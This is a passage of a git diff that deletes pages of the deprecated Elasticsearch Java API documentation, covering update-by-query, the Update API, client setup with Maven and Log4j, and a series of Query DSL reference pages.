-
-Calls to the `updateByQuery` API start by getting a snapshot of the index, indexing
-any documents found using the `internal` versioning.
-
-NOTE: Version conflicts happen when a document changes between the time of the
-snapshot and the time the index request processes.
-
-When the versions match, `updateByQuery` updates the document
-and increments the version number.
-
-All update and query failures cause `updateByQuery` to abort. These failures are
-available from the `BulkByScrollResponse#getIndexingFailures` method. Any
-successful updates remain and are not rolled back. While the first failure
-causes the abort, the response contains all of the failures generated by the
-failed bulk request.
-
-To prevent version conflicts from causing `updateByQuery` to abort, set
-`abortOnVersionConflict(false)`. The first example does this because it is
-trying to pick up an online mapping change and a version conflict means that
-the conflicting document was updated between the start of the `updateByQuery`
-and the time when it attempted to update the document. This is fine because
-that update will have picked up the online mapping update.
-
-The `UpdateByQueryRequestBuilder` API supports filtering the updated documents,
-limiting the total number of documents to update, and updating documents
-with a script:
-
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query-filter]
---------------------------------------------------
-
-`UpdateByQueryRequestBuilder` also enables direct access to the query used
-to select the documents. You can use this access to change the default scroll size or
-otherwise modify the request for matching documents.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query-size]
---------------------------------------------------
-
-You can also combine `maxDocs` with sorting to limit the documents updated:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query-sort]
---------------------------------------------------
-
-In addition to changing the `_source` field for the document, you can use a
-script to change the action, similar to the Update API:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query-script]
---------------------------------------------------
-
-As in the <<java-docs-update,Update API>>, you can set the value of `ctx.op` to change the
-operation that executes:
-
-`noop`::
-
-Set `ctx.op = "noop"` if your script doesn't make any
-changes. The `updateByQuery` operation then omits that document from the updates.
-This behavior increments the `noop` counter in the response body.
-
-`delete`::
-
-Set `ctx.op = "delete"` if your script decides that the document must be
-deleted. The deletion will be reported in the `deleted` counter in the
-response body.
-
-Setting `ctx.op` to any other value generates an error. Setting any
-other field in `ctx` generates an error.
-
-This API doesn't allow you to move the documents it touches, just modify their
-source. This is intentional! We've made no provisions for removing the document
-from its original location.
-
-You can also perform these operations on multiple indices at once, similar to the search API:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query-multi-index]
---------------------------------------------------
-
-If you provide a `routing` value then the process copies the routing value to the scroll query,
-limiting the process to the shards that match that routing value:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query-routing]
---------------------------------------------------
-
-`updateByQuery` can also use the ingest node by
-specifying a `pipeline` like this:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query-pipeline]
---------------------------------------------------
-
-[discrete]
-[[java-docs-update-by-query-task-api]]
-=== Works with the Task API
-
-You can fetch the status of all running update-by-query requests with the Task API:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query-list-tasks]
---------------------------------------------------
-
-With the `TaskId` shown above you can look up the task directly:
-
-// provide API Example
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query-get-task]
---------------------------------------------------
-
-[discrete]
-[[java-docs-update-by-query-cancel-task-api]]
-=== Works with the Cancel Task API
-
-Any Update By Query can be canceled using the Task Cancel API:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query-cancel-task]
---------------------------------------------------
-
-Use the `list tasks` API to find the value of `taskId`.
-
-Cancelling a request is typically a very fast process but can take up to a few seconds.
-The task status API continues to list the task until the cancellation is complete.
-
-[discrete]
-[[java-docs-update-by-query-rethrottle]]
-=== Rethrottling
-
-Use the `_rethrottle` API to change the value of `requests_per_second` on a running update:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query-rethrottle]
---------------------------------------------------
-
-Use the `list tasks` API to find the value of `taskId`.
-
-As with the `updateByQuery` API, the value of `requests_per_second`
-can be any positive float value to set the level of the throttle, or `Float.POSITIVE_INFINITY` to disable throttling.
-A value of `requests_per_second` that speeds up the process takes
-effect immediately. `requests_per_second` values that slow the query take effect
-after completing the current batch in order to prevent scroll timeouts.
diff --git a/docs/java-api/docs/update.asciidoc b/docs/java-api/docs/update.asciidoc
deleted file mode 100644
index 1c8757c4ba7..00000000000
--- a/docs/java-api/docs/update.asciidoc
+++ /dev/null
@@ -1,118 +0,0 @@
-[[java-docs-update]]
-=== Update API
-
-
-You can either create an `UpdateRequest` and send it to the client:
-
-[source,java]
---------------------------------------------------
-UpdateRequest updateRequest = new UpdateRequest();
-updateRequest.index("index");
-updateRequest.type("_doc");
-updateRequest.id("1");
-updateRequest.doc(jsonBuilder()
-        .startObject()
-            .field("gender", "male")
-        .endObject());
-client.update(updateRequest).get();
---------------------------------------------------
-
-Or you can use `prepareUpdate()` method:
-
-[source,java]
---------------------------------------------------
-client.prepareUpdate("ttl", "doc", "1")
-        .setScript(new Script(
-            "ctx._source.gender = \"male\"", <1>
-            ScriptType.INLINE, null, null))
-        .get();
-
-client.prepareUpdate("ttl", "doc", "1")
-        .setDoc(jsonBuilder()               <2>
-            .startObject()
-                .field("gender", "male")
-            .endObject())
-        .get();
---------------------------------------------------
-<1> Your script. It could also be a locally stored script name.
-In that case, you'll need to use `ScriptType.FILE`.
-<2> Document which will be merged to the existing one.
-
-Note that you can't provide both `script` and `doc`.
-
-[[java-docs-update-api-script]]
-==== Update by script
-
-The update API allows to update a document based on a script provided:
-
-[source,java]
---------------------------------------------------
-UpdateRequest updateRequest = new UpdateRequest("ttl", "doc", "1")
-        .script(new Script("ctx._source.gender = \"male\""));
-client.update(updateRequest).get();
---------------------------------------------------
-
-
-[[java-docs-update-api-merge-docs]]
-==== Update by merging documents
-
-The update API also support passing a partial document, which will be merged into the existing document (simple
-recursive merge, inner merging of objects, replacing core "keys/values" and arrays). For example:
-
-[source,java]
---------------------------------------------------
-UpdateRequest updateRequest = new UpdateRequest("index", "type", "1")
-        .doc(jsonBuilder()
-            .startObject()
-                .field("gender", "male")
-            .endObject());
-client.update(updateRequest).get();
---------------------------------------------------
-
-
-[[java-docs-update-api-upsert]]
-==== Upsert
-
-There is also support for `upsert`. If the document does not exist, the content of the `upsert`
-element will be used to index the fresh doc:
-
-[source,java]
---------------------------------------------------
-IndexRequest indexRequest = new IndexRequest("index", "type", "1")
-        .source(jsonBuilder()
-            .startObject()
-                .field("name", "Joe Smith")
-                .field("gender", "male")
-            .endObject());
-UpdateRequest updateRequest = new UpdateRequest("index", "type", "1")
-        .doc(jsonBuilder()
-            .startObject()
-                .field("name", "Joe Dalton")
-            .endObject())
-        .upsert(indexRequest);              <1>
-client.update(updateRequest).get();
---------------------------------------------------
-<1> If the document does not exist, the one in `indexRequest` will be added
-
-If the document `index/_doc/1` already exists, we will have after this operation a document like:
-
-[source,js]
---------------------------------------------------
-{
-  "name"  : "Joe Dalton",        <1>
-  "gender": "male"
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> This field is updated by the update request
-
-If it does not exist, we will have a new document:
-
-[source,js]
---------------------------------------------------
-{
-  "name" : "Joe Smith",
-  "gender": "male"
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/java-api/index.asciidoc b/docs/java-api/index.asciidoc
deleted file mode 100644
index 9c3b4b68357..00000000000
--- a/docs/java-api/index.asciidoc
+++ /dev/null
@@ -1,149 +0,0 @@
-= Java API (deprecated)
-
-include::{elasticsearch-root}/docs/Versions.asciidoc[]
-
-[[java-api]]
-[preface]
-== Preface
-
-deprecated[7.0.0, The `TransportClient` is deprecated in favour of the {java-rest}/java-rest-high.html[Java High Level REST Client] and will be removed in Elasticsearch 8.0. The {java-rest}/java-rest-high-level-migration.html[migration guide] describes all the steps needed to migrate.]
-
-This section describes the Java API that Elasticsearch provides. All
-Elasticsearch operations are executed using a
-<<client,Client>> object. All
-operations are completely asynchronous in nature (either accepts a
-listener, or returns a future).
-
-Additionally, operations on a client may be accumulated and executed in
-<<java-docs-bulk,Bulk>>.
-
-Note, all the APIs are exposed through the
-Java API (actually, the Java API is used internally to execute them).
-
-== Javadoc
-
-The javadoc for the transport client can be found at {transport-client-javadoc}/index.html.
-
-== Maven Repository
-
-Elasticsearch is hosted on
-http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.elasticsearch.client%22[Maven
-Central].
-
-For example, you can define the latest version in your `pom.xml` file:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<dependency>
-    <groupId>org.elasticsearch.client</groupId>
-    <artifactId>transport</artifactId>
-    <version>{version}</version>
-</dependency>
---------------------------------------------------
-
-[[java-transport-usage-maven-lucene]]
-=== Lucene Snapshot repository
-
-The very first releases of any major version (like a beta), might have been built on top of a Lucene Snapshot version.
-In such a case you will be unable to resolve the Lucene dependencies of the client.
-
-For example, if you want to use the `6.0.0-beta1` version which depends on Lucene `7.0.0-snapshot-00142c9`, you must
-define the following repository.
-
-For Maven:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<repository>
-    <id>elastic-lucene-snapshots</id>
-    <name>Elastic Lucene Snapshots</name>
-    <url>https://s3.amazonaws.com/download.elasticsearch.org/lucenesnapshots/00142c9</url>
-    <releases><enabled>true</enabled></releases>
-    <snapshots><enabled>false</enabled></snapshots>
-</repository>
---------------------------------------------------
-
-For Gradle:
-
-["source","groovy",subs="attributes"]
---------------------------------------------------
-maven {
-    name "lucene-snapshots"
-    url 'https://s3.amazonaws.com/download.elasticsearch.org/lucenesnapshots/00142c9'
-}
---------------------------------------------------
-
-=== Log4j 2 Logger
-
-You need to also include Log4j 2 dependencies:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<dependency>
-    <groupId>org.apache.logging.log4j</groupId>
-    <artifactId>log4j-core</artifactId>
-    <version>2.11.1</version>
-</dependency>
---------------------------------------------------
-
-And also provide a Log4j 2 configuration file in your classpath.
-For example, you can add in your `src/main/resources` project dir a `log4j2.properties` file like:
-
-
-["source","properties",subs="attributes"]
---------------------------------------------------
-appender.console.type = Console
-appender.console.name = console
-appender.console.layout.type = PatternLayout
-appender.console.layout.pattern = [%d{ISO8601}][%-5p][%-25c] %marker%m%n
-
-rootLogger.level = info
-rootLogger.appenderRef.console.ref = console
---------------------------------------------------
-
-=== Using another Logger
-
-If you want to use another logger than Log4j 2, you can use http://www.slf4j.org/[SLF4J] bridge to do that:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<dependency>
-    <groupId>org.apache.logging.log4j</groupId>
-    <artifactId>log4j-to-slf4j</artifactId>
-    <version>2.11.1</version>
-</dependency>
-<dependency>
-    <groupId>org.slf4j</groupId>
-    <artifactId>slf4j-api</artifactId>
-    <version>1.7.24</version>
-</dependency>
---------------------------------------------------
-
-http://www.slf4j.org/manual.html[This page] lists implementations you can use. Pick your favorite logger
-and add it as a dependency. As an example, we will use the `slf4j-simple` logger:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<dependency>
-    <groupId>org.slf4j</groupId>
-    <artifactId>slf4j-simple</artifactId>
-    <version>1.7.21</version>
-</dependency>
---------------------------------------------------
-
-:client-tests: {elasticsearch-root}/server/src/internalClusterTest/java/org/elasticsearch/client/documentation
-:hlrc-tests: {elasticsearch-root}/client/rest-high-level/src/test/java/org/elasticsearch/client
-
-:client-reindex-tests: {elasticsearch-root}/modules/reindex/src/internalClusterTest/java/org/elasticsearch/client/documentation
-
-include::client.asciidoc[]
-
-include::docs.asciidoc[]
-
-include::search.asciidoc[]
-
-include::aggs.asciidoc[]
-
-include::query-dsl.asciidoc[]
-
-include::admin/index.asciidoc[]
diff --git a/docs/java-api/query-dsl.asciidoc b/docs/java-api/query-dsl.asciidoc
deleted file mode 100644
index 859462e5767..00000000000
--- a/docs/java-api/query-dsl.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
-[[java-query-dsl]]
-== Query DSL
-
-Elasticsearch provides a full Java query dsl in a similar manner to the
-REST {ref}/query-dsl.html[Query DSL]. The factory for query
-builders is `QueryBuilders`. Once your query is ready, you can use the
-<<java-search,Search API>>.
-
-To use `QueryBuilders` just import them in your class:
-
-[source,java]
---------------------------------------------------
-import static org.elasticsearch.index.query.QueryBuilders.*;
---------------------------------------------------
-
-Note that you can easily print (aka debug) JSON generated queries using
-`toString()` method on `QueryBuilder` object.
-
-The `QueryBuilder` can then be used with any API that accepts a query,
-such as `count` and `search`.
-
-:query-dsl-test: {elasticsearch-root}/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/QueryDSLDocumentationTests.java
-
-include::query-dsl/match-all-query.asciidoc[]
-
-include::query-dsl/full-text-queries.asciidoc[]
-
-include::query-dsl/term-level-queries.asciidoc[]
-
-include::query-dsl/compound-queries.asciidoc[]
-
-include::query-dsl/joining-queries.asciidoc[]
-
-include::query-dsl/geo-queries.asciidoc[]
-
-include::query-dsl/special-queries.asciidoc[]
-
-include::query-dsl/span-queries.asciidoc[]
-
-:query-dsl-test!:
diff --git a/docs/java-api/query-dsl/bool-query.asciidoc b/docs/java-api/query-dsl/bool-query.asciidoc
deleted file mode 100644
index da9ca0ad0cc..00000000000
--- a/docs/java-api/query-dsl/bool-query.asciidoc
+++ /dev/null
@@ -1,13 +0,0 @@
-[[java-query-dsl-bool-query]]
-==== Bool Query
-
-See {ref}/query-dsl-bool-query.html[Bool Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[bool]
---------------------------------------------------
-<1> must query
-<2> must not query
-<3> should query
-<4> a query that must appear in the matching documents but doesn't contribute to scoring.
diff --git a/docs/java-api/query-dsl/boosting-query.asciidoc b/docs/java-api/query-dsl/boosting-query.asciidoc
deleted file mode 100644
index 2a3c4437d1f..00000000000
--- a/docs/java-api/query-dsl/boosting-query.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-[[java-query-dsl-boosting-query]]
-==== Boosting Query
-
-See {ref}/query-dsl-boosting-query.html[Boosting Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[boosting]
---------------------------------------------------
-<1> query that will promote documents
-<2> query that will demote documents
-<3> negative boost
diff --git a/docs/java-api/query-dsl/common-terms-query.asciidoc b/docs/java-api/query-dsl/common-terms-query.asciidoc
deleted file mode 100644
index 2c8dfc7a88c..00000000000
--- a/docs/java-api/query-dsl/common-terms-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-common-terms-query]]
-==== Common Terms Query
-
-See {ref}/query-dsl-common-terms-query.html[Common Terms Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[common_terms]
---------------------------------------------------
-<1> field
-<2> value
diff --git a/docs/java-api/query-dsl/compound-queries.asciidoc b/docs/java-api/query-dsl/compound-queries.asciidoc
deleted file mode 100644
index b93e3b694a5..00000000000
--- a/docs/java-api/query-dsl/compound-queries.asciidoc
+++ /dev/null
@@ -1,45 +0,0 @@
-[[java-compound-queries]]
-=== Compound queries
-
-Compound queries wrap other compound or leaf queries, either to combine their
-results and scores, to change their behaviour, or to switch from query to
-filter context.
-
-The queries in this group are:
-
-<<java-query-dsl-constant-score-query,`constant_score` query>>::
-
-A query which wraps another query, but executes it in filter context.  All
-matching documents are given the same ``constant'' `_score`.
-
-<<java-query-dsl-bool-query,`bool` query>>::
-
-The default query for combining multiple leaf or compound query clauses, as
-`must`, `should`, `must_not`, or `filter` clauses.  The `must` and `should`
-clauses have their scores combined -- the more matching clauses, the better --
-while the `must_not` and `filter` clauses are executed in filter context.
-
-<<java-query-dsl-dis-max-query,`dis_max` query>>::
-
-A query which accepts multiple queries, and returns any documents which match
-any of the query clauses.  While the `bool` query combines the scores from all
-matching queries, the `dis_max` query uses the score of the single best-
-matching query clause.
-
-<<java-query-dsl-function-score-query,`function_score` query>>::
-
-Modify the scores returned by the main query with functions to take into
-account factors like popularity, recency, distance, or custom algorithms
-implemented with scripting.
-
-<<java-query-dsl-boosting-query,`boosting` query>>::
-
-Return documents which match a `positive` query, but reduce the score of
-documents which also match a `negative` query.
-
-
-include::constant-score-query.asciidoc[]
-include::bool-query.asciidoc[]
-include::dis-max-query.asciidoc[]
-include::function-score-query.asciidoc[]
-include::boosting-query.asciidoc[]
diff --git a/docs/java-api/query-dsl/constant-score-query.asciidoc b/docs/java-api/query-dsl/constant-score-query.asciidoc
deleted file mode 100644
index 49c5adbee6a..00000000000
--- a/docs/java-api/query-dsl/constant-score-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-constant-score-query]]
-==== Constant Score Query
-
-See {ref}/query-dsl-constant-score-query.html[Constant Score Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[constant_score]
---------------------------------------------------
-<1> your query
-<2> query score
diff --git a/docs/java-api/query-dsl/dis-max-query.asciidoc b/docs/java-api/query-dsl/dis-max-query.asciidoc
deleted file mode 100644
index 8c91bcb9901..00000000000
--- a/docs/java-api/query-dsl/dis-max-query.asciidoc
+++ /dev/null
@@ -1,13 +0,0 @@
-[[java-query-dsl-dis-max-query]]
-==== Dis Max Query
-
-See {ref}/query-dsl-dis-max-query.html[Dis Max Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[dis_max]
---------------------------------------------------
-<1> add your queries
-<2> add your queries
-<3> boost factor
-<4> tie breaker
diff --git a/docs/java-api/query-dsl/exists-query.asciidoc b/docs/java-api/query-dsl/exists-query.asciidoc
deleted file mode 100644
index 6fa5ba6a6f2..00000000000
--- a/docs/java-api/query-dsl/exists-query.asciidoc
+++ /dev/null
@@ -1,10 +0,0 @@
-[[java-query-dsl-exists-query]]
-==== Exists Query
-
-See {ref}/query-dsl-exists-query.html[Exists Query].
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[exists]
---------------------------------------------------
-<1> field
diff --git a/docs/java-api/query-dsl/full-text-queries.asciidoc b/docs/java-api/query-dsl/full-text-queries.asciidoc
deleted file mode 100644
index 27ce4bee1ba..00000000000
--- a/docs/java-api/query-dsl/full-text-queries.asciidoc
+++ /dev/null
@@ -1,44 +0,0 @@
-[[java-full-text-queries]]
-=== Full text queries
-
-The high-level full text queries are usually used for running full text
-queries on full text fields like the body of an email. They understand how the
-field being queried is analyzed and will apply each field's
-`analyzer` (or `search_analyzer`) to the query string before executing.
-
-The queries in this group are:
-
-<<java-query-dsl-match-query,`match` query>>::
-
-    The standard query for performing full text queries, including fuzzy matching
-    and phrase or proximity queries.
-
-<<java-query-dsl-multi-match-query,`multi_match` query>>::
-
-    The multi-field version of the `match` query.
-
-<<java-query-dsl-common-terms-query,`common_terms` query>>::
-
-    A more specialized query which gives more preference to uncommon words.
-
-<<java-query-dsl-query-string-query,`query_string` query>>::
-
-    Supports the compact Lucene query string syntax,
-    allowing you to specify AND|OR|NOT conditions and multi-field search
-    within a single query string. For expert users only.
-
-<<java-query-dsl-simple-query-string-query,`simple_query_string`>>::
-
-    A simpler, more robust version of the `query_string` syntax suitable
-    for exposing directly to users.
-
-include::match-query.asciidoc[]
-
-include::multi-match-query.asciidoc[]
-
-include::common-terms-query.asciidoc[]
-
-include::query-string-query.asciidoc[]
-
-include::simple-query-string-query.asciidoc[]
-
diff --git a/docs/java-api/query-dsl/function-score-query.asciidoc b/docs/java-api/query-dsl/function-score-query.asciidoc
deleted file mode 100644
index fcd5f2dc473..00000000000
--- a/docs/java-api/query-dsl/function-score-query.asciidoc
+++ /dev/null
@@ -1,19 +0,0 @@
-[[java-query-dsl-function-score-query]]
-==== Function Score Query
-
-See {ref}/query-dsl-function-score-query.html[Function Score Query].
-
-To use `ScoreFunctionBuilders` just import them in your class:
-
-[source,java]
---------------------------------------------------
-import static org.elasticsearch.index.query.functionscore.ScoreFunctionBuilders.*;
---------------------------------------------------
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[function_score]
---------------------------------------------------
-<1> Add a first function based on a query
-<2> And randomize the score based on a given seed
-<3> Add another function based on the age field
diff --git a/docs/java-api/query-dsl/fuzzy-query.asciidoc b/docs/java-api/query-dsl/fuzzy-query.asciidoc
deleted file mode 100644
index 4a7bde82cdf..00000000000
--- a/docs/java-api/query-dsl/fuzzy-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-fuzzy-query]]
-==== Fuzzy Query
-
-See {ref}/query-dsl-fuzzy-query.html[Fuzzy Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[fuzzy]
---------------------------------------------------
-<1> field
-<2> text
diff --git a/docs/java-api/query-dsl/geo-bounding-box-query.asciidoc b/docs/java-api/query-dsl/geo-bounding-box-query.asciidoc
deleted file mode 100644
index 4983a212133..00000000000
--- a/docs/java-api/query-dsl/geo-bounding-box-query.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-[[java-query-dsl-geo-bounding-box-query]]
-==== Geo Bounding Box Query
-
-See {ref}/query-dsl-geo-bounding-box-query.html[Geo Bounding Box Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[geo_bounding_box]
---------------------------------------------------
-<1> field
-<2> bounding box top left point
-<3> bounding box bottom right point
diff --git a/docs/java-api/query-dsl/geo-distance-query.asciidoc b/docs/java-api/query-dsl/geo-distance-query.asciidoc
deleted file mode 100644
index cc8c89ca61e..00000000000
--- a/docs/java-api/query-dsl/geo-distance-query.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-[[java-query-dsl-geo-distance-query]]
-==== Geo Distance Query
-
-See {ref}/query-dsl-geo-distance-query.html[Geo Distance Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[geo_distance]
---------------------------------------------------
-<1> field
-<2> center point
-<3> distance from center point
diff --git a/docs/java-api/query-dsl/geo-polygon-query.asciidoc b/docs/java-api/query-dsl/geo-polygon-query.asciidoc
deleted file mode 100644
index 7dbf49b8d1a..00000000000
--- a/docs/java-api/query-dsl/geo-polygon-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-geo-polygon-query]]
-==== Geo Polygon Query
-
-See {ref}/query-dsl-geo-polygon-query.html[Geo Polygon Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[geo_polygon]
---------------------------------------------------
-<1> add your polygon of points a document should fall within
-<2> initialise the query with field and points
diff --git a/docs/java-api/query-dsl/geo-queries.asciidoc b/docs/java-api/query-dsl/geo-queries.asciidoc
deleted file mode 100644
index 10df4ff5e87..00000000000
--- a/docs/java-api/query-dsl/geo-queries.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-[[java-geo-queries]]
-=== Geo queries
-
-Elasticsearch supports two types of geo data:
-`geo_point` fields which support lat/lon pairs, and
-`geo_shape` fields, which support points, lines, circles, polygons, multi-polygons etc.
-
-The queries in this group are:
-
-<<java-query-dsl-geo-shape-query,`geo_shape`>> query::
-
-    Find document with geo-shapes which either intersect, are contained by, or
-    do not intersect with the specified geo-shape.
-
-<<java-query-dsl-geo-bounding-box-query,`geo_bounding_box`>> query::
-
-    Finds documents with geo-points that fall into the specified rectangle.
-
-<<java-query-dsl-geo-distance-query,`geo_distance`>> query::
-
-    Finds document with geo-points within the specified distance of a central
-    point.
-
-<<java-query-dsl-geo-polygon-query,`geo_polygon`>> query::
-
-    Find documents with geo-points within the specified polygon.
-
-include::geo-shape-query.asciidoc[]
-
-include::geo-bounding-box-query.asciidoc[]
-
-include::geo-distance-query.asciidoc[]
-
-include::geo-polygon-query.asciidoc[]
diff --git a/docs/java-api/query-dsl/geo-shape-query.asciidoc b/docs/java-api/query-dsl/geo-shape-query.asciidoc
deleted file mode 100644
index c2cd4c14e3a..00000000000
--- a/docs/java-api/query-dsl/geo-shape-query.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[[java-query-dsl-geo-shape-query]]
-==== GeoShape Query
-
-See {ref}/query-dsl-geo-shape-query.html[Geo Shape Query]
-
-Note: the `geo_shape` type uses `Spatial4J` and `JTS`, both of which are
-optional dependencies. Consequently you must add `Spatial4J` and `JTS`
-to your classpath in order to use this type:
-
-[source,xml]
------------------------------------------------
-<dependency>
-    <groupId>org.locationtech.spatial4j</groupId>
-    <artifactId>spatial4j</artifactId>
-    <version>0.7</version>                        <1>
-</dependency>
-
-<dependency>
-    <groupId>org.locationtech.jts</groupId>
-    <artifactId>jts-core</artifactId>
-    <version>1.15.0</version>                         <2>
-    <exclusions>
-        <exclusion>
-            <groupId>xerces</groupId>
-            <artifactId>xercesImpl</artifactId>
-        </exclusion>
-    </exclusions>
-</dependency>
------------------------------------------------
-<1> check for updates in http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.locationtech.spatial4j%22%20AND%20a%3A%22spatial4j%22[Maven Central]
-<2> check for updates in http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.locationtech.jts%22%20AND%20a%3A%22jts-core%22[Maven Central]
-
-[source,java]
---------------------------------------------------
-// Import ShapeRelation and ShapeBuilder
-import org.elasticsearch.common.geo.ShapeRelation;
-import org.elasticsearch.common.geo.builders.ShapeBuilder;
---------------------------------------------------
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[geo_shape]
---------------------------------------------------
-<1> field
-<2> shape
-<3> relation can be `ShapeRelation.CONTAINS`, `ShapeRelation.WITHIN`, `ShapeRelation.INTERSECTS` or `ShapeRelation.DISJOINT`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[indexed_geo_shape]
---------------------------------------------------
-<1> field
-<2> The ID of the document that containing the pre-indexed shape.
-<3> relation
-<4> Name of the index where the pre-indexed shape is. Defaults to 'shapes'.
-<5> The field specified as path containing the pre-indexed shape. Defaults to 'shape'.
diff --git a/docs/java-api/query-dsl/has-child-query.asciidoc b/docs/java-api/query-dsl/has-child-query.asciidoc
deleted file mode 100644
index f47f3af487d..00000000000
--- a/docs/java-api/query-dsl/has-child-query.asciidoc
+++ /dev/null
@@ -1,23 +0,0 @@
-[[java-query-dsl-has-child-query]]
-==== Has Child Query
-
-See {ref}/query-dsl-has-child-query.html[Has Child Query]
-
-When using the `has_child` query it is important to use the `PreBuiltTransportClient` instead of the regular client:
-
-[source,java]
---------------------------------------------------
-Settings settings = Settings.builder().put("cluster.name", "elasticsearch").build();
-TransportClient client = new PreBuiltTransportClient(settings);
-client.addTransportAddress(new TransportAddress(new InetSocketAddress(InetAddresses.forString("127.0.0.1"), 9300)));
---------------------------------------------------
-
-Otherwise the parent-join module doesn't get loaded and the `has_child` query can't be used from the transport client.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[has_child]
---------------------------------------------------
-<1> child type to query against
-<2> query
-<3> score mode can be `ScoreMode.Avg`, `ScoreMode.Max`, `ScoreMode.Min`, `ScoreMode.None` or `ScoreMode.Total`
diff --git a/docs/java-api/query-dsl/has-parent-query.asciidoc b/docs/java-api/query-dsl/has-parent-query.asciidoc
deleted file mode 100644
index 6a83fe2b069..00000000000
--- a/docs/java-api/query-dsl/has-parent-query.asciidoc
+++ /dev/null
@@ -1,23 +0,0 @@
-[[java-query-dsl-has-parent-query]]
-==== Has Parent Query
-
-See {ref}/query-dsl-has-parent-query.html[Has Parent]
-
-When using the `has_parent` query it is important to use the `PreBuiltTransportClient` instead of the regular client:
-
-[source,java]
---------------------------------------------------
-Settings settings = Settings.builder().put("cluster.name", "elasticsearch").build();
-TransportClient client = new PreBuiltTransportClient(settings);
-client.addTransportAddress(new TransportAddress(new InetSocketAddress(InetAddresses.forString("127.0.0.1"), 9300)));
---------------------------------------------------
-
-Otherwise the parent-join module doesn't get loaded and the `has_parent` query can't be used from the transport client.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[has_parent]
---------------------------------------------------
-<1> parent type to query against
-<2> query
-<3> whether the score from the parent hit should propagate to the child hit
diff --git a/docs/java-api/query-dsl/ids-query.asciidoc b/docs/java-api/query-dsl/ids-query.asciidoc
deleted file mode 100644
index ba12a5df38b..00000000000
--- a/docs/java-api/query-dsl/ids-query.asciidoc
+++ /dev/null
@@ -1,10 +0,0 @@
-[[java-query-dsl-ids-query]]
-==== Ids Query
-
-
-See {ref}/query-dsl-ids-query.html[Ids Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[ids]
---------------------------------------------------
diff --git a/docs/java-api/query-dsl/joining-queries.asciidoc b/docs/java-api/query-dsl/joining-queries.asciidoc
deleted file mode 100644
index fcefef5f624..00000000000
--- a/docs/java-api/query-dsl/joining-queries.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-[[java-joining-queries]]
-=== Joining queries
-
